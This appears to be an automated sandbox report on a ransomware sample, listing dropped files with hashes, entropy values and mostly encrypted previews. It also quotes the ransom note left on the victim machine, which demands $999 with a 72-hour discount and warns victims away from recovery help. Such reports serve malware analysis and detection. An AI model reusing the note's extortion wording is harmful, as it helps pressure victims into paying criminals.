Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.591390366815437
Encrypted:	false
SSDEEP:	12:qqMPuMQJklL63lwDrbxa+rwlmaPUBtbBmsL1+cii9a:qqMGVJklLswNxBiYtbQsYbD
MD5:	352164E54EF98BEC415413DB91AD776D
SHA1:	78A6FFF4CCC03B8ECF5AA0CB33139EC311B06506
SHA-256:	48A41C45AEFB7DC8AA8BED8E4D07D8B6C2B31910B291E92F3F409CB7540FEDEB
SHA-512:	1E3BAC9FB00704215E400E488929A467786E70EFA1DB2D6A650F1C472BFF50934B7CCD571F2358F4783C928A695C5CC68864FADB22C6787FEB3C71D1D6B1E094
Malicious:	false
Preview:	[000:..r.i..J....T$4=..}.d.Q.-................G....z...S..y.GV..@...D.......&w'..y.6..S\|....:..6d.6n,.;..'.'.(...]8.B2.IA.kBNNK...............J.Yd.]:....>.y.J.....oo-.z.Y"..0.K.w E....D.T.,Z......p.&.0.\...H...J?..[.....e.\n.c/...`.H.Sy.....M {A+5.P"...........!..eJ=E.\|&.....9.F:.Q%..I...#?.n.:...<.Q....ur.{.....e..a.*...9.J{..F.'.n.8.......t.4/..go_.......$b.}F....>.Yg'wo...!x2..q.....B.....h..-t..U;$..m...V.VFF.$...>T..5....rU`%..l...:....ls.o..{_.cw..d<.v....D..~Q...\|..7.?..z.}..!.q.:..i0z.9.=$.u:SC.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205005028254899
Encrypted:	false
SSDEEP:	49152:jWK38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOh:jW8F1qd/LKNh
MD5:	E643E962001F8B6154276A461D2DDF46
SHA1:	3AD80EB15D867AD89483E46877C2E4134D28CD3B
SHA-256:	11A85A4FEE966105F2769F014323990B446050987302C3822156CAC017FD69F3
SHA-512:	C6DD8114CA1D3149252E936705BDA3F1E3F8C5A0C6904C99E0A41A06771A93275331430417074541BF2F29DFE10EF80C08F6B20D866902B40D86ED7E1D926718
Malicious:	false
Preview:	Micro..`....2.E7....p....P.@.....WN....=%..h.(.!.....x..%y..:....o.......i"..kD}....5w.QRm..&.].L<..b.b._......P.}z~;..%..c.. ..H..R[SXV.......:e...-;......d.Q.jO..V(....M.[s...^gb.o...T..D.J.-.x.....J;Ju.... F.m...m...a..@...D....d..9..;W.%...r.I.<..d.5.Y33..i..T.3f.<1:2alb.8....._g......3.....F.yo.=<..5..uo...y.:.d..6.Dl...@....CN.c^.h...)....x_.N>.2.2;..:._.%.........nu..+......3\.+...b.4....V.....M.)xy@..Y...5...o...5..p..^..VN5G.=.....mr.1.'o.3....aJ.b...}Oh..........T..\|$r..s.q.J..=...'s2"..m. ...3C..m.b..g<..p.1BM.E..J.{L.P.3E.....c..wg.3........^.Y......6)..u.^\..e..8C.4...Ea..l:.:..i.k....;..nO..6#.G.iA....i..%.....+NN........`.....@.~.d.~G..d..)".......]wh.z1O).u.................6.y\|.m.....t9...7Y.P"Uu.....r1/..+p.E.+.(nH{;.....ds..K.\|%.J?,...'.Q...IN..r....z.R....{.XQ.'5.7u\....2.b.p{...^L.`....'i.I.....G..4.nG.tuD4.@Ozl.B...Q..d2..l....bL..V.(#4Db.\]E4.[.^..=<}..jYl.s.@+..x.D.W.)....:Fo.h(.6.Q...>g..Wr..hFF....S......d.yI!..!rw..%u...

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204937691774247
Encrypted:	false
SSDEEP:	49152:/QK38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOD:/fF1qd/LKND
MD5:	D4501DB7E8AEFE12CAFBFE72358D9F8E
SHA1:	D045CDB7BD713858335A00266339FFB712B74F24
SHA-256:	B6EEA4FC5ED369AF9CA7BB3C6044B268E4FE522A06953E078421E4D1A8978B0C
SHA-512:	999C3968811B94ADA181D03409923F3644049863741A610B030B5385B09D715C1A699D3CC41B3D4D53853A3B6DB96C02C8A55A562AC28531C35578995EF1E2DB
Malicious:	false
Preview:	Micro..j?x......}..WE..AAM#...?j.?...~..;.?!..>....^.8.c[..{..^\|.../y...{...l5`.....XQ.. ...p....H.....&s....$...$......^:b........u.j......Z. m......>;.....S?.\|..IR..$..Q6.'.../ .....K..@....../..hj...........pBF[.Z..b......1.3..ub:..i...cb..QX.n......[4...y>5..Xx.<.U9.K.E.qy..z.&.....:J...#.{0....}.S..B.Z.ts.'.fk..%N...z/.:...-=y...[....e.R..b$/.R.=.,..6...X$....\..siD..L)..g...S.Rp2..$q......o..^.....I...1X....-.E.`....To.}l,..+..E.c#M.{`...\.ha.3h..y.X.g.h...1..p.g.^.sX.....D..V.;E.k.........Y..1.n.6......#.....\|9.. ....~.A..i2=PY..:.G.Jh.}..tl......B.v..2=...9..=r#c.8Ww....n.O......m%.#.....M..\<9F...5p...W.......4.~Cd.L.......l....n..........=!WC3.........y....'0..o.Y..P.....w$...Z...........).t.....=.r3(3....?%x.._j....C.....o....g.K^.[.`.U..ob%n{_W6/....C..2`..t...G...cz.0...B+.w..9..0...H...#.....~....bq.W^.qi.G..n.l^...Agw.e.s.....N[....Fv)..........e...H.&.Q..MBR...{V\E!.)Sn..[}..z.A...Z%..[...x...'.`....kE..0Y..a%(.

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.66288185668556
Encrypted:	false
SSDEEP:	12288:dIvXpNOd/CnJQ4aKVmaS4aMz8Pg3lxJo2cvXtw:dwZZBaKVzaYcAqtw
MD5:	74D30E2BF2257D6D7D6DFF04B2CC645D
SHA1:	F45C07DDA665150E0E92C5C29CB3669E04FAE64E
SHA-256:	2E6B340571F9667C0D23F7FBD4B2F61C1C70EA0BB50EB4F44EE36C1A53A54DD1
SHA-512:	2C9D644BFC231C5E3C6336DF7EBD41201A30FBA9D7C5622D65446AC14C5F5022B7EB5D4141E785500B38D454A6C1235336B9340904B45077B193CCC93DEFCF6D
Malicious:	false
Preview:	Micron...Il.wk.S....yy...B....;%.H7.......=.&.....r.FUa.0.-t..?.......Ocz`..(.a.......(.y...Bo.......=H...N.9.'.JE.yk...Z.R.e....ZU..V.W.&.p.a...t.%..x+...3-......<z.....S.J.e..Yf...x.:.....m..ak......s.....G.........~(.......M.....&x.L.bk...S.....m....T.#.P....r.i....~..]..Q.e0..4k)>8...0Q...[./.`ov.M.jVW\.#f..7j\|C..."..B.l.4..U\|.0.@k0...S...[.....{.......H...l.....G..]s......2.A#]?aQlEKO.x...mo`j.-`. ..2r..o.8p.MJ.P.hZ..1...I'.%.O..T....D.+h...p..e...w..`. ..C....<...;..3..I...........y.l...)a...I..Y....b..]1...L..E.0..Q........Z-3.hy..I....V,.v......L..7L...<..N../&...I..A..H.mRU...@.....d.X.z....>..C.......\.`..o{y...x..r....$...8....4........($j?.....(....o \!Wl....P$....U#....%...:.....6.w.r]UZ..+X.....?..+.,...S'.QV...V.....b..}H.L......t..I ..{.k.@v.2..yp`.YG%e...b..R..d..[.G...b{Pk...".0...T."U....o'ac@.:.]...:w.[..N.3.j.. .Y..."^\I..9xg.L............7...=.X..m...Qw...6..JV"n...1.V...=.B.yEv...).r4....C......<....7...b.

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662631697998447
Encrypted:	false
SSDEEP:	12288:08tNT+F+81aJ0NCJQ4aKVmaS4aMz8Pg3lxJo2cvXtb:hT+bYBaKVzaYcAqtb
MD5:	F3195970E2DA7ECEBC1C1EF68E33CD54
SHA1:	5F41621977DA3F09D3F47E740808E1CCA7610CBB
SHA-256:	FF2935406A9327C7257F398BEA4CD8FFBD8673FB949C17A5FCE7611A1853BBA6
SHA-512:	BDE5D1D15C30CA759C824A5139B28C6EBAC0F66245B6B92D90F7381AF1D86ED67AE2F94B9E0821DF2FDE484E29CC62B07CA2418008F2A43421A43EDB383D26B4
Malicious:	false
Preview:	Micro..N.}.`Gc....\|....].hc.4...N`.>D6..C...b.A.Y.lzL.......M~....1..Y.7.D#.a.=`....L7.(...Ed......h..T.=. }..~r.\..x...?y.J-k..?:.g.......4)..@....r.\|<.J})..-..s{..Q.UW?'i.d.J.X..:.....\U!.."o.~E..8.f...!....X........n....2.._}L.t....K:.4...,oaB....W.....mY.D..F.@?.Yh...QS.....rY.IMk{.8&...p;^.,^...$..>...:........B...zJ.}@vyR....I..'gsg.Ws..k+g].6.....C.^`..S............].L2....O...'...v.Y.O.. ...#.Ls.B.^E<o..ayPg.Kr.G..fO.H>.l.^.~M.O.1......u...t..n..H/f?w...j..t.....{.!..!.....ja_...c.o;.pP.....K!I........@...[.+........v&W....k%.p...fT..Cl...4.....G F..1S=.....x....I..Q8Y.V.......9g...BI..J.D.~..}+/..1....s...._..b....\.Q....d..t,....R.......u.7..&B.v.jd.S...n....0.~..G....&Q...-Nft..X..s..Y.......P.".e.P..y.y?..8.;KFA.K#.i.{jU...5...E..,.6..?....b........#.f+..../.l.R....G....YJ8...WU.'..../%m.s..M9.C..\|.!).6.%{P.....q.e.l:N@..Uu...IY.D...c....)Pf....{......n..5..a?.%LE..cU.8.j...D..W8..>.-......5..C...<D..\|C.\|c.G.b....0z..4.`

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.990932726787909
Encrypted:	true
SSDEEP:	384:7FxVkPWSs6Ubg5j9RNdpZ9mHjDeoyLko+O1i5fi+mvzZynSbEe8Qo+:7FMc6UszwHjDexLkUa6+mbZynkbZ
MD5:	D9828D29F014B4A0189CE12504FC50B3
SHA1:	F48DC1D921CE352C7CEB79D2955359898696B953
SHA-256:	97682B2D2EC6476CBB1EA242298EA0E7FD1B1F47451086116AA9A13C60BFAE2D
SHA-512:	70222C5845A3706F5173D5FC2557826AB5D12B2770147B9BD057A273176EF38A741B7AA08C3DE74146E16DDDB6A5EEE07D66E99B527E87CF4880E91D92EFD147
Malicious:	true
Preview:	03-10O7.P.9$..........)u9?\|.!6..@..........>.....g.....T..2....6...{~r.u\...l...{\|G...H"ee..F.o......:.......$...]}:..&...d....xI...Apu...1.Y.......1..s..&...li..@;.E...P5.Q............srGj..[.....A.oWj:..P.1y...>.q.x..A=.{-..VG0.5.Z..3.T`Gi..........e_flb......Ngz).b......U..B.;w..j.<..E.9....).8}Zd.....>.!......p.t.........i.......Q.0.;..9....%.py...3.X..O."..kL=.....3L....c..N8..(.....\..yw?.~.pv...rv...)....'....!..)..\....6KY2...y.t..$X.v...E..i.H...{.a..WH.....>...s.^..D.>.R..6.=..?@K...>.R......_A.M...AK&..<{Y..s.]...4."3ODE..W....T>.A......n.\|.&P..j..>.M9......$.Q.. V..9Td..`z%..X.K,.)..0]^.W.1w.!C.......H..=UF`.];`.5. ..A...RQ..D.&y..~.f..J.j..B..@z.J..fO&.fp"...T.d.b....CaC......y..;'-..7o.>......!...3xN....N.;.(.N......z...U.1.....S<x.T`..N@T.....F....wTk...h.'_.B....6....f.I..ue.L-fG&[yr[j.R...ik.L.e\.;7.y..M..ia.L..x...H.D.\|'...d.kf.S+.%...'..]..#].....!...B..K5.4..0.g..C..`.Z....F`c..;..^........=..G\.......~

C:\Users\user\AppData\Local\VirtualStore\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.894830319422743
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3j:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kU
MD5:	153B09F9C8FC32C5A25E92A00ED05ABB
SHA1:	72BFC185DE8F4F400218F88B896EE8C5D95006BE
SHA-256:	346083BFC7E3CBC8684F762F8BF844BEE94FA6C77D5BE9CA84B14356C7F1DB93
SHA-512:	C50B92F597F0634A086BF5F92855370ED2B7D84E9ADA45C53BC3CC97A486CD17C8144C675CE8EEBE0730347F8AB02E6B31D2F3D721DB104616002B7425E2C976
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.701167892667156
Encrypted:	false
SSDEEP:	24:Yc5yGzi71UMhFpgGUMsq/MU+kYfytm0cZjbD:YcsGze3hFpg1Msq/MbkYfyd83D
MD5:	37D681FD13B04D2E49B585E39738D931
SHA1:	69FB1798C1D28221CE0CDDF5AF85C2AD7A0B1384
SHA-256:	C45D78D5F8F7CB26BE08CCE8208672D5F2468A6B91C9AD9BDE7723628A1E1BEA
SHA-512:	361DF940C1E5F070BB239CAA982060BDD33EE2CE9F79A805FD134CEFF418A3578B18391F82F1F9C3C5899BFAB0742CC4A60AF6D0E1D862A8A8F492C272743EF0
Malicious:	false
Preview:	{"pub{.`.`..eX.~Io.=.f..Z.KSj6..I...z.iiF....8.Q..}.......j....2.y.'.^b.....W..fx.Vx..@...u.AG.>JbVA..0.......CT!{..~.2.R.S...~..m9.8y...^V..(i..xFz....._x...]. ....$!...t.9.=....\.7.^w...(.<.R.-k..'.W>...8..a.8.`I......-./...H..............%.#.JR..\|....M.#XH.7U.5Px.f...(..-.Pw.;tP9c.....=.7F=..De.I.]. .A....lB6..iZc.g-...$.1J%....U.2..`\|s..+.h:.%$U....8T......5Y.3`7F7e...^...-......tE4Jr.J. $...Mcd..t....C.w...J`hV.B..5.JA...R...6..h..@w......6 ...b...Ln.@RB<.9.=...V..]F.@..l%x.....C....N}.. .....x;...6..j.a..o...h.......nAF`R..W.M...l=..t...Q..:.CD...<S.....5fb_......&.u..O6Y..[Z.Y....?kSp;23.T=.;rIj.>R....n......9.yTu`.DL..0%2.......Y .._...kY.......ez....j.RP"..PU/\|....Tnj9..y..........tJMI..h!.......[q..%...&..t"a..6.vkm.6.Rk..'..Qu..6o... .^B{.*.........<L..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	781824
Entropy (8bit):	7.701428172373208
Encrypted:	false
SSDEEP:	12288:Ck30NbksICSr1WWknJ7RHWaqrx3A4VpRZZTLpu02zSa8wQR1oFqVDNmw/oI9wIG:kksIjr1EJ7R2aqN3zbFTM02zFW1TDLiz
MD5:	19F46C713419F534C1532645B764C7B4
SHA1:	F61F07D60704FF3D843596A6068B12F565BBED23
SHA-256:	8B7851AE383EE5E1D106322F99D0A6149044E317ED310CE7464FF7D82AFA725C
SHA-512:	595BAD474662DD1E1CDBDEC310C96B42201443D07C975A96C8D0BDDB6F08714B55383AEC213106424201BE6304E7C620E696C54EE70FF8027C11F1CF129A08F4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......bD}.&%..&%..&%..+w..8%..+w..Y%..+w...%../]..!%..&%..H%....'%..+w..'%....'%..Rich&%..........................PE..L.....&d............................?C....... ....@..................................u..........................................P....................................!..8........................... ...@............ ...............................text...U........................... ..`.rdata....... ......................@..@.data....]..........................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	67138
Entropy (8bit):	7.99768341933261
Encrypted:	true
SSDEEP:	1536:KJBypNLQbFUYUt8i26RSZFVjzW80mT7Pn4vvF+T1hwgjzD:kyubUtoJtD0mT7/UvF+TVjzD
MD5:	349FE29D59BF6346794137017136D26C
SHA1:	C4921D36554B158607EFB9C4B923EC0B01237B3C
SHA-256:	BA9603CD589EB08C7B1AAB7AEFB65198D919848D1E07044D042290C0BBAC0AF5
SHA-512:	57A4D73E665D61156749AF528CC00CB2C4216F06BCA561951A50DBD6262C6E6654CDE806EAD34F31289856594AA5AA3015F9DA8B99495A8CC0D9CE83C3CDDAA5
Malicious:	true
Preview:	0.......DI...c..e<y.=.1...,0...yr`O&...@?.......M[G2.9...:..E.p ..,%.....4N$;.^.OW..0(!...1)2../h.XQc.\|...[..c....^..>.^q.l....E.X.(.e..3...`+1.O]Aq..]...k.X..`.%t..{R.,L5..!..f.W]#R)........N.F4...u......-...e..fJP.....1.h.;U*w-7uH.S..0f.).....h.v.....Wb.W......]2hF..b..........."Lq .~t..w+.dMB...6U.....N..'..J:..C..A.6.y....H..`..Q&.a........m..q....B .+..t....[=..V..lImgn....!.G....S..Sd$.l..+..7..'....i.T..!..k..P.......8'r.).......g#.....i..7NO.7...3..b..&............^...s.r.../..u....c@}N.....GLD.M.....c~.&6...GN.Yv..\|".G[..5.o.?9.Cb..?.D1......j......X........$IK<i{..0X.\.G_....m..H6..u.m.]//.O8.8C.fT...-!.:T6....u.{4.QT..>.'....o",+..+....Qi..]..x)..]J2y..jX..!.W"...4..9h.?>.......Wiq...a\.(..f...>.Zi?F...t......rYl..#.".Bh.....Sr...gU=....).u..,.:..aP...ca...[qz".....,.A...B[q/.4..~(..\|y.w.@...@....v.....ib>...e.l.a...u..5{.,....&.m...5..=.=.'v......ri.....yx..."uk.b.....s..0Z.ou....8N.D.#...b>.DB......<..ZPq..

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.815951120060165
Encrypted:	false
SSDEEP:	24:ybP6YzSUP46sxuA+sTKB6SJEgXEWOspSdKpcsi80q0/ubD:y++tALYGZ8Ppli5qPD
MD5:	7B9E7D2417419CB7624AF07BC428FEE7
SHA1:	4DFF091F1F1834A4662A52797D425BB77E1DDB1D
SHA-256:	3C706FFCBB3152AE40A77B2B915354EA84C67067D8F76850498E2FE44AB3C487
SHA-512:	D69669DAF0CB37DBAEAFD96C35739291FF5BAB8A60DD9A736BD05985ADE0655F888D10289C360E2A250D4CDC28DD4E50EFE974723116AA7D40669E180730D3B6
Malicious:	false
Preview:	0...0.Lb....y1s...,.I.@s.xVgI........)M.U..t.ay....q.'.Z=,.&poV.j_..d...:.(.c.5..}REbJ...9.\~m{..5dJ.".q..f.=..a7".I..m..]L...1....i$v...k..dq.H"m...u....N.k.f......Z..M...r...<P2q.\|.s.. ....9..T:9..A.]8 1..R.;.E..KZ.[..fV.P..^E..a.....u\.Q.6..Y.?S..O.=...h.~."m.7~uu..+?.......s..W.,...r....nT.lz}fE..-%EY7:..:.D..R...v.3./.?eL.\|Y.M..\b..U...jw@....zIEu%.fq_V..........'EZL.B..C..w!.7i.`hz.:m..(.......b:.b..(..?.~..Ec.`..../..>...x...`"a...c...........V.G..@K.....z...x..)......!.....K.f.......~...K.}j}.2.`..=9..D..=...>.@a.,....E..j0.#.5JJ..].n.eQ.j..b.......c.w..%p..0&..}.a.V.^{\.....c..!ZH.V.Q....L.!.....!...0..Q,...$z.......7.....7.."..@.z.C`..B"..Efe.....y.....!....T>....H...2...p.)...2\D..OdYy^......c..m..^..[p?..Dw.N9.bf$.._J.t......\L..>...S..x.....u\|..I..{T.......!...._$..$.....>..{L..<..FhG2......z....\|..k~.w.S3....A......<.._..ww.....YzU/S.b..n.C.Z.@......P.....7.N=.x..m.#s......8.v\|.e....._..z.......i.)....2.........SLibyJ8

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.272990398738826
Encrypted:	false
SSDEEP:	6:HYM1sGCN7lfsfRCihqE/CuMbf5qiBo3z09YmFeZXw6jvLEbCB2VR6VWyc3cii96Z:jstEfBhqE/obfv0zChFwg67g22VR6V14
MD5:	8EADD7D6CD3450F8B0DC89947A7BCE40
SHA1:	47134B6A1F1DCD829686C9FD3649409B8CA5BA0D
SHA-256:	D723B717EAEECD1AE438C5BE259FDF942DCC3BA4087DDFC118E0CE1B81E352C0
SHA-512:	F3E781AE699A25AFA95A9E9045789522E73CBB77F59BB71FE0245DF2BAA28D46726641760B28602C3C7B6DEEC5B53D329F8DD812FA44D05F8D5AE1B2529F3B9A
Malicious:	false
Preview:	%PDFT.;..T...$M..$o..`i..\|..W9O....eK.fN:o.$.;.H....x1.<...L......Y....?.5:A.\.c.i..OjT.2Xx.rO..[.K.\.C%...f.....M.3.g...e9.R.#HA.H.k..t.o...DK!w.Bmr^...f!.+G&>`..y.I.}k.J....S.h'..?J...7..%..lH<.D;K.M ^uqQ[..".{..L....f:...Tt/.E.....\B.18.E..nwv....'..S.'....;8]8.<..sne..F*1.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.387015769192633
Encrypted:	false
SSDEEP:	6:Qu1dTZOfekxxIRQUY/qtOVrb0/oAahzjnQ13jOmVIDWh6oEOM+fWyc3cii96Z:QWTZOfe8CRw/cz/oFgjOqM+f1+cii9a
MD5:	87E7E343C1370D181D15D7E69C89DDC3
SHA1:	82FBB4A9797F4B868C0F6894A84186592604D504
SHA-256:	F58FABD973A6BD1A9145C03E3FA9D3CBA0FB507B5BF1CCB3987A155DE3B3E31D
SHA-512:	0601129B25910E30936277EEE5C29832C6CD0657101C6FD13204584ADC6A255A84C65255DB60204EF6042CBB8285C44E94927889906CC050167D3FCD83BB13FE
Malicious:	false
Preview:	%PDFTY..."e...1...E...w.u.zNz.d.....'z..z.x.X...3.t>k.9H..)+.)v.. .F)..).^..._,..\|].L.BJ...F.........,."....S..Y..[X..~.............e.P.}.u2.....wk.....?.E.(..:H..dISPi.ej_\|Bh3....I(....]J.6GS..:.H.H.x......<........U-X.+..^{2...../..0`.......\..Wn.[.TMV_.se_....pR[D.A...]A..s05."3....Z..a..\|.DSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.864610507456059
Encrypted:	false
SSDEEP:	24:LRYU/qkTK+TxcKoBhuvR8XLSz/ihZv4e/ev8+Tv9aWl5Pmq/XPbD:aU/XT7uKIX+zG54e/x+TFBrjD
MD5:	A0B8B3330CCED552F9FC10CFC285ED45
SHA1:	794B5C12D9E4445EFE04C1906E0A787E7575E92F
SHA-256:	53C7E54802B21E3BC0315FDBB27735DA4E7E4982C56B61FDF6DF95B0CAC8E8F1
SHA-512:	3263A675DC4A664B3B0F3FB2555E3AE64194E308CF42D005E6A7811528F7B3130CDF6F33799EE897C30D4D2AE5709BCF8AFD81087E2635E76D43FC291E22D9E0
Malicious:	false
Preview:	<?xml... ..{...Qq.WV.....^..:>....E.}.{..u .'..j>.K,.....f....c..F.3.U.4 .g.....?.....L........R.W..V..3.S.,.........\1.<.i...,.7^.p6....Q..U.K..f)..Qd.yr..Y.~. 9.z.....~...>w2...3..O.w>....y..8.^..:v.Z s)S.....e....s.%.....$Zv.E..ao.Vc.`.o..Gt}..e..`A/.G.... ..8+.l.z....,r.L...P..s...)....+..}..S.t..T.n..~.@.q-x..n......~..+.].fBHOaa..x..Gs._.r....#z.\|._aF..p!.ppQ..L...."nI%[?....b.oB....+.\]dQ[...[R.<..X...-0..5....b(.b...^...?`\..;..k...L{#.h)..\.f.^..)..I5.y...wq...N...]..i.A.&TP.N.{K.R-.....Y....GF..e..1.)+&7....9.u..-.{........=@....#...y....mz......;3..U....C..%.1...h.nt%Of.6G..FuKY.~L.p...#......t.?X.q.."...$...~.]..r.W{hJ_En@..t...z.i.I..g.....T..24.....5......w.l6u8..L)g...).@..1...h...t....B=.1.6.~....4...........s.$..U.........}IJ-<g7J...!...B\@..o.4MV..Ko..-m..4P......N......`.....Mi...[.,}K^....n=O.........q.l.. l.6=}k_Us'..>/.5.fR...2L.........[..p.m...._..V....DQ..E...p5p....E,..u..M..u".......8.D'&./a.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.917852708885936
Encrypted:	false
SSDEEP:	48:sF9mU0Y8zoI5JhYhyqEcoV/MTG0b/mWDOHMyvEAqtGeVsXU917D:imD9zH5JhYhyqDzTG0Vo7vHqt/Ku3
MD5:	9AFC66C1D9029FC9D13A1DF16C4376F7
SHA1:	C3C6871C68CF424D40D042DB803DE876D5B0D358
SHA-256:	F89A230ECD779C6423067902854A25478D74EFC4098743FBA7839C3FDB3BB4EC
SHA-512:	AB7DCA24BD7C04AE9F295C44FCBD906C72756F35E59800BC7F2F4C3D22B15F92CEDAA755B9F36F776D05506E634E116B489488F4F186D8BEEAE6227DC6CA505D
Malicious:	false
Preview:	<?xml.8...]=lK.M......0Ntr....~L...P.4........}r.........[.q.@........_...Q...ml^qq.R44...N.....J....4...NLVf...Q..WS...j.....t.s;...5..%.......h....:..78H.m...y..v...B..b....X6...Drhd........$.,...;gdH...c..u....n.;.....W.H......(X....9..2.x...dv'.........Twy.....V.Y.yGl.Q.7.....qm..(..MI.R....^...\|.u......2t..^.lP.`.Q..Y..+.P3>0.m.$l..o:...>.._....G...+.k...C.~...J.2cf..MrE...Q..=.N..b..dx....%.h.2o."$....n..2.e..e..e.^.h}..+..0.....VH.?.-9.....\|..Ty......5..2..ELg..FG.:JcdvWz..D...d?. &c}..r.K..Yb...\..0..s7&hf.9\|mW...........b....@..O.PD:..Mg..>W...Uw9..j.....HT.P.....1..{..~....Br.......b..IO.X.LcS..>....!;T'..\+..yX[...F...?.<X.....[...h.K.%.Q.o.5sM.;.;B.....{.3n.........&.pH..8.f9.....bC.Y.]H.f.w..."NEq~",.?....%d.;..Zd..Y=..{q.d.......u..D.h............^...Y~>.4.h.w4...Y...N...(..{...b.....5....7..^.~...O..Gv..B..I.U.lzU..=.Z...I.1V.G.....\{u9..;b......'m....>....7l........X.98'-..m^....4..'..(..\.$.y..v,....{[..O..,:..8.

